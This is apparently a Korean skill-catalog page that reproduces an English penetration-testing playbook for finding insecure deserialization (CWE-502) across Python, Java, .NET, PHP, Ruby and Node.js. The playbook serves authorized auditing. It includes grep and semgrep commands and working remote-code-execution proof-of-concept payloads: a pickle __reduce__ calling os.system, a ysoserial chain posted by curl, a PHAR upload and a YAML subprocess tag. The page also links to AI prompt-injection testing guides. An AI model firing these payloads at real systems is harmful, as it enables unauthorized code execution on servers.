deserialization
하는 일
이 스킬은 신뢰할 수 없는 데이터가 안전하지 않은 방식으로 객체로 되돌아가는 안전하지 않은 역직렬화를 찾기 위한 플레이북입니다. 허용된 코드를 점검하는 개발자와 검토자를 위한 스킬입니다.
사용하는 경우
- ✓개발자가 신뢰할 수 없는 데이터가 안전하지 않은 역직렬화 함수로 불러와지는지 확인해 달라고 요청할 때.
- ✓에이전트가 Python, Java, .NET, PHP 또는 Ruby 코드에서 위험한 로드 호출을 검토할 때.
- ✓팀이 위험한 함수 대신 쓸 더 안전한 로드 함수 목록을 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리가 허가받은 Python 코드에서 신뢰할 수 없는 데이터를 pickle이나 안전하지 않은 YAML로 불러오는 곳이 있는지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 언어별로 위험한 로드 함수를 찾고, 그 입력이 어디서 오는지 추적한 뒤, 더 안전한 처리가 필요한 곳을 나열합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Insecure Deserialization Playbook
Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.
1. Sources (user-controlled data that becomes an object)
- HTTP body, cookie, header, query param
- Message queue payload (Kafka, RabbitMQ, SQS)
- File upload parsed as config
- WebSocket messages
- Inter-service RPC
2. Dangerous sinks by language
Python
pickle.loads/pickle.load/pickle.Unpicklerdill.loads,cloudpickle.loads,shelve.openyaml.load()withoutLoader=SafeLoaderjsonpickle.decodenumpy.load(allow_pickle=True)torch.load(loads pickled tensors → RCE)joblib.loadmarshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif
Java
ObjectInputStream.readObjectXMLDecoder.readObjectJackson ObjectMapperwith default typing + polymorphic typesSnakeYAMLYaml.load()(before 2.0) — RCE via!!javax.script.ScriptEngineManagerXStreamwithout whitelistHessian,Kryowith registration disabled
Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)
.NET
BinaryFormatter.Deserialize(deprecated but still common)SoapFormatter,LosFormatter,ObjectStateFormatterJavaScriptSerializerwithSimpleTypeResolverJson.NETwithTypeNameHandling != None
PHP
unserialize()on any user input- PHAR uploads —
file_exists("phar://upload.phar")triggers deser - Laravel
decrypt()→unserialize(pre-patched APP_KEY leak chain)
Ruby
Marshal.loadYAML.load(before Psych 4 safe default)Oj.loadwithoutmode: :rails
Node.js
node-serializeunserialize()serialize-to-jsdeserialize()vm.runInNewContext(userInput)— not technically deser but same impact
3. Gadget chain availability
A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:
# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt
# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'
4. Taint audit workflow
- Identify every source (HTTP body/cookie/header handlers).
- Trace the data through:
- Explicit
.loads/.readObject/unserializecalls - Framework magic (Spring
@RequestBodywith default typing) - File uploads parsed as config
- Explicit
- For each confirmed source-to-sink path, check gadget availability on the classpath.
- Record as graph vulnerability node. If no gadgets are currently
available, mark
exploitability="conditional"— the dep upgrade that ships the gadget class is a time bomb.
5. PoC templates
Python pickle (direct)
import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())
Send as cookie/body; success = /tmp/pwn present or command output reflected.
Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set
PHP PHAR
php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper
YAML (PyYAML < safe default)
!!python/object/new:subprocess.check_output [["id"]]
6. Default CVSS
All unauthenticated deser → RCE are 10.0 critical:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deser: drop PR to L → 9.9.
7. Validation contract
validate_finding(
vuln_id=...,
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
success_patterns="uid=0|root@|pwned|/tmp/pwn",
negative_command="curl -X POST https://target.com/api/import --data 'benign'",
negative_patterns="200|accepted",
cvss_vector="CVSS:3.1/AV:N/AC:L
자주 묻는 질문
역직렬화란 무엇인가요?
저장되거나 전송된 데이터를 다시 프로그램 객체로 바꾸는 것이며, 데이터가 신뢰할 수 없으면 안전하지 않을 수 있습니다.
어떤 입력 경로가 위험한가요?
스킬은 HTTP 입력, 메시지 큐, 업로드된 설정 파일, WebSocket 메시지를 흔한 출처로 듭니다.
드문 문제인가요?
스킬은 코드 실행으로 가는 가장 확실한 경로 중 하나라고 보고 있어서 높은 우선순위로 다룹니다.
상세 정보
작성자의 원본 설명
Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13957
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.